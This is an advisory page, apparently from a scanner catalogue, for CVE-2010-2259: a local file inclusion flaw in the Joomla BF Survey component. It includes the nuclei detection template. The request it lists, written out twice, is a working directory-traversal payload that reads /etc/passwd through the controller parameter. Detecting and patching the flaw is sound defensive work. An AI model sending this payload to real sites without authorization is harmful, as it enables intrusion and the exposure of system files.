Joomla! Component com_bfsurvey - Local File Inclusion

highseverity

7.5CVSS score

18.1%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the BF Survey (com_bfsurvey) component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_bfsurvey&controller=../../../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-2259 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-2259

info:
  name: Joomla! Component com_bfsurvey - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the BF Survey (com_bfsurvey) component for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/10946
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2259
    - http://www.exploit-db.com/exploits/10946
    - http://www.tamlyncreative.com.au/software/forum/index.php?topic=641.0
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2259
    cwe-id: CWE-22
    epss-score: 0.18051
    epss-percentile: 0.97218
    cpe: cpe:2.3:a:tamlyncreative:com_bfsurvey_profree:1.2.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: tamlyncreative
    product: com_bfsurvey_profree
  tags: cve,cve2010,joomla,lfi,edb,tamlyncreative,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_bfsurvey&controller=../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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